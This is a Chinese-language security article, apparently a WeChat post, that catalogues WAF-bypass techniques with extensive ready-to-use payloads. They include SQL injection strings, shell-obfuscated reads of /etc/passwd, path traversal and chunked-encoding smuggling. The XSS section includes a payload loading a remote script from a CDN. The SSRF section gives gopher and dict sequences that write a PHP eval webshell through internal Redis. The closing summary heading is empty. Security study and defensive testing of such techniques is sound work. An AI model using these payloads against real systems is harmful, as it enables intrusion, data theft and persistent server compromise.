朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把SecretTeam安全团队“设为星标”,否则可能就看不到了啦!
免责声明
"本文档所提供的信息旨在帮助网络安全专业人员更好地理解并维护他们负责的网站和服务器等系统。我们鼓励在获得适当授权的情况下使用这些信息。请注意,任何未经授权的使用或由此产生的直接或间接后果和损失,均由使用者自行承担。我们提供的资源和工具仅供学习和研究之用,我们不鼓励也不支持任何非法活动。"
"我们创建这个社区是为了促进技术交流和知识分享。我们希望每位成员都能在遵守法律法规的前提下参与讨论和学习。如果使用本文档中的信息导致任何直接或间接的后果和损失,我们提醒您,这将由您个人承担。我们不承担由此产生的任何责任。如果有任何内容侵犯了您的权益,请随时告知我们,我们将立即采取行动并表示诚挚的歉意。我们感谢您的理解和支持。"
BYPASS WAF概念
BYPASS WAF实际是去寻找位于WAF设备之后处理应用层数据包的硬件或软件的特性。利用特性构造WAF不能命中,但是在应用程序能够成功执行的载荷,绕过防护。
WAF的分类
-
云WAF 在配置云WAF时,DNS需要解析到CDN的IP上,在请求url时,数据包就会先经过云WAF进行检测,如果通过再将数据包送给主机。
-
主机防护软件 在主机上预先安装了这些防护软件,可用于扫描和保护主机,在监听web端口的流量是否有恶意的,所以这种从功能上讲比较全面,但是升级成本可能比较高。
-
硬件IDS/IPS、硬件WAF 使用专门硬件防护设备的方式,当向主机请求时,会先将流量经过此设备进行流量清洗和拦截,如果通过再将数据包发给主机。
-
软WAF 软件WAF则是安装在需要防护的服务器上,实现方式通常是WAF监听端口或以web容器扩展方式进行请求检测和阻断。
BYPASS WAF的各种绕过姿势
Web架构层bypass
-
寻找真实IP、WAF通过修改DNS解析隐藏了真实IP地址、找域名解析记录、利用邮件发送功能来抓包,获取真实IP。
-
畸形数据包bypass、GET型请求转POST型、Content-length头长度大于4008、正常参数放在垃圾数据后边。
SQL注入绕过技巧
匹配绕过
关键字替换
-
AND 等价于 &&
-
OR 等价于 ||
-
=
等价于 like -
+
代替 空格 -
sleep() 等价于 benchmark() -
mid()substring() 等价于 substr()
最直白的 payload 类似 <script> alert('xss'); </script>
,但是你可以用 <script src=来远程加载脚本,并绕过防护
`?search=naive%22%3E%20%3Cmeta%20name=%22referrer%22%20content=%22never%22%20%3E%20%3Cscript%20src=%22https://cdn.jsdelivr.net/gh/TomAPU/xsstest/test.js%22%3E%3C/script%3E%20%3C!--`
注释符绕过
-
/**/
与/*!*/
,还可以代替空格 -
select/*@a?v|ddd--n*/xxxxx/*@a?v|ddd--n*/from/*a?v|ddd--n*/xxxx
由于waf解析注释符耗费性能,因此这种方法结合fuzz能找到漏网之鱼 -
emoji 表情 -
-- 与 #
Union 注入时 `union select 1 from 2` 替换成 `union/*fuckyou//*a*//*!select*/1/*fuckyou//*a*//*!from*/2`
order by 测试时直接把空格换成 `/**//**/`
空白符绕过
-
正则表达式空白符: %09,%0a,%0b,%0D,%20 -
mysql空白符: %09,0A,%0b,%0D,%20,%0C,%A0,/**/
浮点数词法解析
-
select * from xxx where id=8E0union select 1,2,3,4,5,6,7E0from xxxx -
select * from xxx where id=8.0union select 1,2,3,4,5,6,7.0from xxxx -
select * from xxx where id=8Nunion select 1,2,3,4,5,6,7 Nfrom xxxx
利用不常用报错函数绕过
-
select extractvalue(1,concat(1,user())); -
select updatexml(1,concat(1,user()),1); -
select exp(~(select * from(select user())a));
hpp 方式
HPP 是指 HTTP 参数污染.形如以下形式:?id=1&id=2&id=3
的形式,此种形式在获取 id 值的时候不同的 web 技术获取的值是不一样的. 假设提交的参数即为:
id=1&id=2&id=3
Asp.net + iis:id=1,2,3
Asp + iis:id=1,2,3
Php + apache:id=3
形如 index.php?a=[whitelist]&a=select 1 union select 2
路径限制绕过
比如 WAF 会对访问敏感路径加以限制,但是加上参数可以绕过.
比如想访问 xxx.██.edu.cn/phpmyadmin/
会被拦截,访问 xxx.██.edu.cn/phpmyadmin/?id=1
可以绕过
例如连续两个 ../
会被拦截,可以尝试采用 ./
,例如存在关键词,可以使用 ./
分割,linux 下 ./
会被忽略
payload: .././.././.././.././.././.././.././.././.././.././.././etc/./passwd
linux变量特性
-
利用 * 匹配和 "" 为空白的特性
ls -lah
""c""at /""**c""/""""**********""a""d******""
cat /e?c/p?ss??
cat /e??/??ss*
l''s
{l<s,}
{ls,-a}
{cat,/etc/passwd}
cat</etc/passwd -
使用空的 shell 变量特性
cat$IFS/etc/passwd
cat${IFS}/etc/passwd
IFS=,;`cat<<<cat,/etc/passwd`
c${fuckwaf}at /e${fuckwaf}tc/${fuckwaf}pass${fuckwaf}wd -
变量控制
x=$'catx09/etc/passwd'&&$x
a=f;d=ag;c=l;cat$IFS$a$c$d.php -
反斜杠
cat /etc/passwd
多重编码链接:
https://www.redtimmy.com/web-application-hacking/how-to-hack-a-company-by-circumventing-its-waf-for-fun-and-profit-part-2
通过多重编码绕过iRules规则
分段传输
利用 pipline 绕过
-
原理
http 协议是由 tcp 协议封装而来,当浏览器发起一个 http 请求时,浏览器先和服务器建立起连接 tcp 连接,然后发送 http 数据包(即我们用 burpsuite 截获的数据),其中包含了一个 Connection 字段,一般值为 close,apache 等容器根据这个字段决定是保持该tcp连接或是断开.当发送的内容太大,超过一个 http 包容量,需要分多次发送时,值会变成 keep-alive,即本次发起的 http 请求所建立的 tcp 连接不断开,直到所发送内容结束 Connection 为 close 为止.
-
测试
关闭 burp 的 Repeater 的 Content-Length 自动更新,如图所示,点击红圈的 Repeater 在下拉选项中取消 update Content-Length 选中.这一步至关重要!!!
burp 截获 post 提交
id=1 and 1=1
会被 waf,将数据包复制一遍,如图
接着修改第一个数据包的数据部分,即将 id=1+and+1%3D1
修改为正常内容 id=1
,再将数据包的 Content-Length 的值设置为修改后的 id=1
的字符长度即 4,最后将 Connection 字段值设为 keep-alive.提交后如图所示,会返回两个响应包,分别对应两个请求.
注意:
从结果看,第一个正常数据包返回了正确内容,第二个包含 Payload 的数据包被某狗 waf 拦截,说明两数据包都能到达服务器,在面对其他 waf 时有可能可以绕过.无论如何这仍是一种可学习了解的绕过方法,且可以和接下来的方法进行组合使用绕过.
分块编码传输绕过
-
原理
在头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码.这时,post 请求报文中的数据部分需要改为用一系列分块来传输.每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的,也不包括分块数据结尾的,且最后需要用 0 独占一行表示结束.
开启上个实验中已关闭的 content-length 自动更新.给 post 请求包加入 Transfer-Encoding: chunked 后,将数据部分
id=1 and 1=1
进行分块编码(注意长度值必须为十六进制数),每一块里长度值独占一行,数据占一行如图所示.
注意:分块编码传输需要将关键字 and,or,select ,union 等关键字拆开编码,不然仍然会被 waf 拦截.编码过程中长度需包括空格的长度.最后用 0 表示编码结束,并在 0 后空两行表示数据包结束,不然点击提交按钮后会看到一直处于 waiting 状态.
利用协议未覆盖进行绕过
-
原理
HTTP 头里的 Content-Type 一般有 application/x-www-form-urlencoded,multipart/form-data,text/plain 三种,其中 multipart/form-data 表示数据被编码为一条消息,页上的每个控件对应消息中的一个部分.所以,当 waf 没有规则匹配该协议传输的数据时可被绕过.
将头部 Content-Type 改为
multipart/form-data; boundary=69
然后设置分割符内的 Content-Disposition 的 name 为要传参数的名称.数据部分则放在分割结束符上一行.
由于是正常数据提交,所以从图可知数据是能被 apache 容器正确解析的,尝试 1 and 1=1
也会被某狗 waf 拦截,但如果其他 waf 没有规则拦截这种方式提交的数据包,那么同样能绕过.
一般绕waf往往需要多种方式结合使用,示例中,只需将数据部分 `1 and 1=1` 用一个小数点 `"."` 当作连接符即 `1.and 1=1` 就可以起到绕过作用.当然,这只是用小数点当连接符所起的作用而已.
组合使用
在协议未覆盖的数据包中加入 Transfer-Encoding: chunked ,然后将数据部分全部进行分块编码,如图所示(数据部分为 1 and 1=1
).
注意:第2块,第3块,第7块,和第8块.
第2块中需要满足
长度值
空行
Content-Disposition: name="id"
空行
这种形式,且长度值要将两个空行的长度计算在内(空行长度为2).
第3块,即数据开始部分需满足
长度值
空行
数据
形式,且需将空行计算在内.
第7块即分割边界结束部分,需满足
长度值
空行
分割结束符
空行
形式,且计算空行长度在内.
第8块需满足
0空格
空行
空行
形式.如果不同时满足这四块的形式要求,payload 将不会生效.
使用注释扰乱分块数据包
通过 RFC7230 [链接:https://tools.ietf.org/html/rfc7230] 阅读规范发现分块传输可以在长度标识处加上分号 ";" 作为注释,如:
9;kkkkk
1234567=1
4;ooo=222
2345
0
(两个换行)
性能角度
性能检测
WAF 在设计的时候都会考虑到性能问题,例如如果是基于数据包的话会考虑检测数据包的包长,如果是基于数据流的话就会考虑检测一条数据流的多少个字节.一般这类算检测的性能,同时为了保证 WAF 的正常运行,往往还会做一个 bypass 设计,在性能如 cpu 高于 80% 或则内存使用率高于如 80% 是时候,会做检测 bypass,以保证设备的正常运行.
现在问题就是检测多长呢?例如我用 HTTP POST 上传一个 2G 的文件,明显不可能 2G 全做检测不但耗 CPU,同时也会耗内存.因此在设计 WAF 的时候可能就会设计一个默认值,有可能是默认多少个字节的流大小,可能是多少个数据包.
设计了一个脚本,不断的向 HTTP POST 添加填充数据,当将填充数据添加到一定数目之后,发现 POST 中的 sql 注入恶意代码没有被检测了.最终达到了 bypass 的目的.
性能负载
一些传统硬件防护设备为了避免在高负载的时候影响用户体验,如延时等等问题,会考虑在高负载的时候 bypass 掉自己的防护功能,等到设备的负载低于门限值的时候又恢复正常工作.
一些高性能的 WAF 可能使用这种方法可能不能 bypass,但是一些软 WAF 使用这种方式还是可以 bypass 的.
例子,将请求并发同时发送多次,多次访问的时候就有几次漏掉了,没有触发 waf 的拦截.
案例
-
实战渗透-看我如何拿下自己学校的大屏幕(Bypass)
OpenResty uri参数溢出漏洞
OpenResty 通过ngx.req.get_uri_args、ngx.req.get_post_args获取参数,只能获取到前100个参数,当提交第101个参数时,uri参数溢出,无法正确获取到第101个及以后的参数,无法对攻击者提交的攻击语句进行安全检测,导致基于ngx_lua开发的安全防护可被绕过,影响多款基于OpenResty的开源WAF。
127.0.0.1/test?a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9& id=1 union select 1,schema_name,3 from INFORMATION_SCHEMA.schemata
通过 ngx.req.get_uri_args、ngx.req.get_post_args 获取 uri 参数,只能获取前 100 个参数,当提交第 101 个参数时,uri 参数溢出,无法正确获取第 100 以后的参数值,基于 ngx_lua 开发的安全防护,无法对攻击者提交的第 100 个以后的参数进行有效安全检测,从而绕过安全防御。
POST
urlencode 和 form-data POST 在提交数据的时候有两种方式,第一种方式是使用 urlencode 的方式提交,第二种方式是使用 form-data 的方式提交.当我们在测试站点的时候,如果发现 POST 提交的数据被过滤掉了,此时可以考虑使用 form-data 的方式去提交.
XSS绕过技巧
什么是 XSS
跨站点脚本 (XSS) 攻击是一种注入,Web 程序代码中对用户提交的参数未做过滤或过滤不严,导致参数中的特殊字符破坏了 HTML 页面的原有逻辑,攻击者可以利用该漏洞执行恶意 HTML/JS 代码、构造蠕虫、篡改页面实施钓鱼攻击、以及诱导用户再次登录,然后获取其登录凭证等。
XSS 攻击有 3 种类型:
-
反射型 XSS : 通过网络浏览器从另一个网站运行恶意脚本的攻击 -
存储型 XSS : 存储型是将注入的脚本永久存储在目标服务器上的攻击 -
基于DOM的XSS : 一种在 DOM 结构中而不是在 HTML 代码中触发的 XSS。
XSS Payload
最基础的
<script>alert(1)</script>
<svg/onload=alert(1)>
<img src=x onerror=alert(1)>
在标签内部的
" onmouseover=alert(1)
" autofocus onfocus=alert(1)
"><script>alert(1)</script>
'><script>alert(1)</script>
</tag><script>alert(1)</script>
"></tag><script>alert(1)</script>
</script><script>alert(1)</script>
示例1
<input id="keyword" type="text" name="q" value="example">
<input id="keyword" type="text" name="q" value="" onmouseover=alert(1)">
示例2
<input id="keyword" type="text" name="q" value="example">
<input id="keyword" type="text" name="q" value=""><script>alert(1)</script>
示例3
<a href="https://target.com/1?status=example">1</a>
<a href="https://target.com/1?status="></a><script>alert(1)</script>">1</a>
示例4
<script>
var sitekey = 'example';
</script>
<script>
var sitekey = '</script><script>alert(1)</script>';
</script>
通过注释转义的
--><script>alert(1)</script>
<!-- --><script>alert(1)</script> -->
在 script 中
'-alert(1)-'
'/alert(1)//
示例
<script>
var sitekey = 'example';
</script>
<script>
var sitekey = ''-alert(1)-'';
</script>
在 script 中,但输出在字符串分隔值内,引号被反斜杠转义
'alert(1)//
示例
<script>
var sitekey = 'example';
</script>
<!-- 使用 -alert(1)- 的结果 -->
<script>
var sitekey = ''-alert(1)-'';
</script>
<!-- 绕过反斜杠转义 -->
<script>
var sitekey = '\'alert(1)//';
</script>
一行 JS 内多个值
/alert(1)//
/alert(1)}//
示例
<script>
var a = 'example'; var b = 'example';
</script>
<script>
var a = '/alert(1)//'; var b = '/alert(1)//';
</script>
条件控制语句内的值
'}alert(1);{'
'}alert(1);{//
示例
<script>
var greeting;
var time = 1;
if (time < 10) {
test = 'example';
}
</script>
<script>
var test;
var time = 1;
if (time < 10) {
test = ''}alert(1);{'';
}
</script>
反引号内的值
${alert(1)}
示例
<script>
var dapos = `example`;
</script>
<script>
var dapos = `${alert(1)}`;
</script>
用在其他功能点
文件名
"><svg onload=alert(1)>.png
exif 数据
exiftool -Artist='"><script>alert(1)</script>' test.jpeg
SVG
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
markdown
[Click Me](javascript:alert('1'))
xml
<a:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</a:script>
pyscript
-
https://github.com/pyscript/pyscript
<link rel="stylesheet" href="https://pyscript.net/alpha/pyscript.css" />
<script defer src="https://pyscript.net/alpha/pyscript.js"></script>
<py-script>'74img/src/onerror75alert(1)76'</py-script>
绕过技巧
-
使用无害的 payload,类似 <b>,<i>,<u>
观察响应,判断应用程序是否被 HTML 编码,是否标签被过滤,是否过滤<>
等等; -
如果过滤闭合标签,尝试无闭合标签的 payload <b,<i,<marquee
观察响应;
长度限制
绕过长度限制
"onclick=alert(1)//
"><!--
--><script>alert(xss);<script>
内容检测
换行
<img src=1
onerror
=alert(1)
过滤空格,用 / 代替空格
<img/src="x"/onerror=alert("xss");>
过滤关键字,大小写绕过
<ImG sRc=x onerRor=alert("xss");>
<scRiPt>alert(1);</scrIPt>
不闭合
<svg onload="alert(1)"
拼接
<details open ontoggle=top['al'%2B'ert'](1) >
双写关键字
有些 waf 可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过
<imimgg srsrcc=x onerror=alert("xss");>
替换绕过
过滤 eval 用 Function 代替
❌ eval(alert('xss'))
✔ Function(alert('xss'))
过滤 ('') 用 `` 代替绕过
❌ alert('xss')
✔ alert`xss`
过滤 alert 用 prompt,confirm,top'alert' 代替绕过 过滤空格 用 %0a(换行符),%0d(回车符),/**/ 代替绕过 小写转大写情况下 字符 ſ 大写后为 S(ſ 不等于 s)
利用 atob 绕过
❌ (alert('xss'))
✔ atob("YWxlcnQoInhzcyIp")
利用 eval
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
利用 top
<script>top["al"+"ert"](`xss`);</script>
%00截断绕过
<a href=javascr%00ipt:alert(1)>xss</a>
其它字符混淆
有的 waf 可能是用正则表达式去检测是否有 xss 攻击,如果我们能 fuzz 出正则的规则,则我们就可以使用其它字符去混淆我们注入的代码了,举几个简单的例子
可利用注释、标签的优先级等
<<script>alert("xss");//<</script>
<title><img src=</title>><img src=x onerror="alert(`xss`);"> //因为 title 标签的优先级比 img 的高,所以会先闭合 title,从而导致前面的 img 标签无效
<SCRIPT>var a="\";alert("xss");//";</SCRIPT>
通过编码绕过
实体编码
javascript:alert(1) 十六进制
javascript:alert(1) 十进制
Unicode编码绕过
<img src="x" onerror="alert("xss");">
<img src="x" onerror="eval('u0061u006cu0065u0072u0074u0028u0022u0078u0073u0073u0022u0029u003b')">
url编码绕过
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
hex绕过
<img src=x onerror=eval('x61x6cx65x72x74x28x27x78x73x73x27x29')>
八进制
<img src=x onerror=alert('170163163')>
base64绕过
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
过滤双引号,单引号
1.如果是html标签中,我们可以不用引号.如果是在js中,我们可以用反引号代替单双引号
<img src="x" onerror=alert(`xss`);>
2.使用编码绕过,具体看上面我列举的例子,我就不多赘述了
过滤括号
当括号被过滤的时候可以使用throw来绕过
<svg/onload="window.onerror=eval;throw'=alertx281x29';">
过滤url地址
// 使用url编码
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
// 使用IP
// 1.十进制IP
<img src="x" onerror=document.location=`http://2130706433/`>
// 2.八进制IP
<img src="x" onerror=document.location=`http://0177.0.0.01/`>
// 3.hex
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
// 4.html标签中用//可以代替http://
<img src="x" onerror=document.location=`//www.baidu.com`>
// 5.使用\,但是要注意在windows下本身就有特殊用途,是一个path 的写法,所以\在Windows下是file协议,在linux下才会是当前域的协议
// 6.使用中文逗号代替英文逗号,如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号
<img src="x" onerror="document.location=`http://www.baidu.com`">//会自动跳转到百度
javascript 伪协议绕过
无法闭合双引号的情况下,就无法使用 onclick 等事件,只能伪协议绕过,或者调用外部 js
注释符
// 单行注释
<!-- --!> 注释多行内容
<!-- --> 注释多行内容
<-- --> 注释多行内容
<-- --!> 注释多行内容
--> 单行注释后面内容
/* */ 多行注释
有时还可以利用浏览器的容错性,不需要注释
闭合标签空格绕过
</style ><script>alert(1)</script>
@ 符号绕过 url 限制
例如:https://[email protected]/j.js
其实访问的是 @ 后面的内容
") 逃逸函数后接分号
例:");alert(1)//
绕过转义限制
例:
")
alert(1) //
输入会被大写化
先把纯文本字符转换为 HTML 实体字符, 然后对其进行 URL 编码, 最后用 SVG 标记的 onload 参数输出
<svg onload=%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x27%3B%26%23x48%3B%26%23x69%3B%26%23x20%3B%26%23x4D%3B%26%23x6F%3B%26%23x6D%3B%26%23x27%3B%26%23x29%3B>
U+2029 XSS
段落分隔符,即 U+2029,是用于字符分隔的 Unicode 值,但它是一个在网络上不常使用的字符。
#!@*% alert(1)
SSRF 绕过技巧
很多 web 应用都提供了从其他的服务器上获取数据的功能.使用用户指定的 URL,web 应用可以获取图片,下载文件,读取文件内容等.这个功能如果被恶意使用,可以利用存在缺陷的 web 应用作为代理攻击远程和本地的服务器.这种形式的攻击称为服务端请求伪造攻击(Server-side Request Forgery).
一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
ssrf 有哪些危害
-
内部端口扫描
-
攻击内网服务 (例如: redis,memcache,或存在 log4j rce 的服务)
-
攻击 Kubelet API : 在云环境中,可通过 Kubelet API 查询集群 pod 和 node 的信息,也可通过其执行命令。为了安全考虑,此服务一般不对外开放。但是,攻击者可以通过 SSRF 去访问 Kubelet API,获取信息和执行命令。 -
攻击 Docker Remote API:Docker Remote API 是一个取代远程命令行界面(rcli)的 REST API,默认开放端口为 2375。此 API 如果存在未授权访问,则攻击者可以利用其执行 docker 命令,获取敏感信息,并获取服务器 root 权限。因此为了安全考虑,一般不会在外网开放,此时我们就可以通过 SSRF 去尝试攻击那些不对外开放的 Docker Remote API。其过程与攻击 Kubelet API 类似。 -
越权攻击云平台内其他组件或服务:由于云上各组件相互信任,当云平台内某个组件或服务存在 SSRF 漏洞时,就可通过此漏洞越权攻击其他组件或者服务。例如用户正常请求服务 A 时,云 API 层会对请求进行校验,其中包括身份、权限等。如果服务 A 存在 SSRF 漏洞,则可构造请求使服务 A 访问服务 B,因为服务 A 与服务 B 互相信任,所以服务 B 未校验服务 A 的请求,从而越权操作服务 B 的资源。 -
绕过 cdn 获取真实ip
-
https://webhook.site/ -
利用 ssrf 进行访问,产生 dos 的效果
-
Cloud Metadata
-
在云环境中,元数据即表示实例的相关数据,可以用来配置或管理正在运行中的实例。攻击通过 SSRF 去访问元数据中存储的临时密钥或者用于自启动实例的启动脚本,这些脚本可能会包含 AK、密码、源码等等,然后根据从元数据服务获取的信息,攻击者可尝试获取到受害者账户下 COS、CVM、集群等服务的权限。
使用 @ 符号
当我们需要通过 URL 发送用户名和密码时,可以使用 http://username:[email protected],此时 @前的字符会被当作用户名密码处理,@后面的字符才是我们请求的地址,即 http://[email protected]/
与 http://127.0.0.1/
请求时是相同的,而这种方法有时可以绕过系统对地址的检测。
不同的 IP 格式
不同进制
开发人员在提取或者过滤域名或者 IP 时,未考虑到 IP 的进制转换的影响,则存在被利用进制转换绕过的可能。浏览器不仅可以识别正常的 IP 地址,也可以识别八进制、十进制、十六进制等其他进制的 IP 地址,但是有时候开发人员会忽视这一点,因此有时,我们可以通过这一点去绕过防护。
★
http://www.subnetmask.info/
# 8进制 (127.0.0.1)
0177.0.0.1
# 10进制 (127.0.0.1)
2130706433
# 16进制 (127.0.0.1)
0x7F.0x00.0x00.0x01
# 注意:16进制使用时一定要加0x,不然浏览器无法识别,八进制使用的时候要加0
利用别名绕过
http://localhost/
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
不规范格式
http://0.0.0.0
http://127.000.000.1
http://127.1
http://127。0。0。1
http://①②⑦。0。0。①
IPv6
http://[::1]
http://[::]
http://[::]:80/
http://0000::1:80/
ip6-localhost
0--1.ipv6-literal.net (windows)
Enclosed alphanumerics
封闭式字母数字(Enclosed Alphanumerics)字符是一个Unicode块,其中包含圆形,支架或其他非封闭外壳内的字母数字印刷符号,或以句号结尾。封闭的字母数字块包含一个表情符号,封闭的M用作掩码工作的符号。它默认为文本显示,并且定义了两个标准化变体,用于指定表情符号样式或文本表示。这些字符也是可以被浏览器识别的,而开发人员有时会忽略这一点。
①②⑦。0。0。① --> 127.0.0.1
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ --> example.com
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
不同的协议头
gopher://
dict://
php://
jar://
tftp://
zip://
jar
jar:// 协议能从远程获取 jar 文件及解压得到其中的内容,其格式如下:
jar:<url>!/{entry}
实例如下,!
符号后面就是其需要从中解压出的文件:
jar:http://a.com/b.jar!/file/within/the/zip
jar:// 协议分类:
Jar file(Jar包本身):jar:http://www.foo.com/bar/baz.jar!/
Jar entry(Jar包中某个资源文件):jar:http://www.foo.com/bar/baz.jar!/COM/foo/a.class
Jar directory(Jar包中某个目录):jar:http://www.foo.com/bar/baz.jar!/COM/foo/
也使用 jar 协议进行 Blind SSRF
利用
jar:scheme://domain/path!/
jar:http://127.0.0.1!/
jar:https://127.0.0.1!/
jar:ftp://127.0.0.1!/
dict
描述
dict 协议有一个功能:dict://serverip:port/name:data 向服务器的端口请求 name data,并在末尾自动补上 rn(CRLF)。也就是如果我们发出 dict://serverip:port/config:set:dir:/var/spool/cron/ 的请求,redis 就执行了 config set dir /var/spool/cron/ . 用这种方式可以一步步执行 redis getshell 的 exp,执行完就能达到和 gopher 一样的效果。原理一样,但是 gopher 只需要一个 url 请求即可,dict 需要步步构造。
对内网 redis 的利用
dict://127.0.0.1:6379/info
dict://127.0.0.1:6379/keys *
Gopher
gopher 协议支持发出 GET、POST 请求:可以先截获 get 请求包和 post 请求包,在构成符合 gopher 协议的请求。
gopher 协议是 ssrf 利用中最强大的协议
相关文章
-
Gopher协议在SSRF漏洞中的深入研究 -
gopher 协议初探
相关工具
-
tarunkant/Gopherus - 该工具生成 gopher payload ,以利用 SSRF 并在各种服务器中获得 RCE -
xmsec/redis-ssrf - redis ssrf gopher generater && redis ssrf to rce by master-slave-sync
格式
gopher://<host>:<port>/<gopher-path>_后接TCP数据流
curl gopher://127.0.0.1:8000/_GET%20test
gopher 的默认端口是70
如果发起 post 请求,回车换行需要使用 %0d%0a,如果多个参数,参数之间的 & 也需要进行 URL 编码
发送 get 请求
如果要发送如下 payload
GET /test/get.php?name=test HTTP/1.1
Host: 192.168.1.2
那么需要变为如下格式
curl gopher://192.168.1.2:80/_GET%20/test/get.php%3fname=test%20HTTP/1.1%0d%0AHost:%20192.168.1.2%0d%0A
在 HTTP 包的最后要加 %0d%0a,代表消息结束
发送 post 请求
POST /test/post.php HTTP/1.1
Host: 192.168.1.1
Content-Type:application/x-www-form-urlencoded
Content-Length:11
name=test
那么需要变为如下格式
curl gopher://192.168.1.1:80/_POST%20/test/post.php%20HTTP/1.1%0d%0AHost:192.168.1.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=test%0d%0A
ssrf 中的利用
http://192.168.1.1/test/ssrf.php?url=gopher://192.168.1.2:6666/_abc
# 由于PHP在接收到参数后会做一次URL的解码,所以要在 url 编码一次
http://192.168.1.1/test/ssrf.php?url=gopher%3A%2F%2F192.168.1.2%3A80%2F_GET%2520%2Ftest%2Fget.php%253fname%3Dtest%2520HTTP%2F1.1%250d%250AHost%3A%2520192.168.1.2%250d%250A
URL中的/不能进行两次编码,端口号不可以两次编码,协议名称不可两次转码
配合 Redis 未授权访问漏洞进行攻击
我们可以利用 Gopher 协议远程操纵目标主机上的 Redis,可以利用 Redis 自身的提供的 config 命令像目标主机写 WebShell、写 SSH 公钥、创建计划任务反弹 Shell 等,其思路都是一样的,就是先将 Redis 的本地数据库存放目录设置为 web 目录、~/.ssh 目录或 /var/spool/cron 目录等,然后将 dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行 save 或 bgsave 保存,则我们就指定的目录里写入指定的文件了。
绝对路径写 WebShell
redis命令
flushall
set 1 '<?php eval($_POST["whoami"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
利用 Gopherus
gopherus --exploit redis
gopher%3A%2F%2F10.211.55.3%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%25248%250D%250A%250A%250Atest%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%25244%250D%250A%2Ftmp%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
这里将生成的 payload 要进行 url 二次编码(因为我们发送 payload 用的是 GET 方法),然后利用服务器上的 SSRF 漏洞,将二次编码后的 payload 打过去就行了:
总结
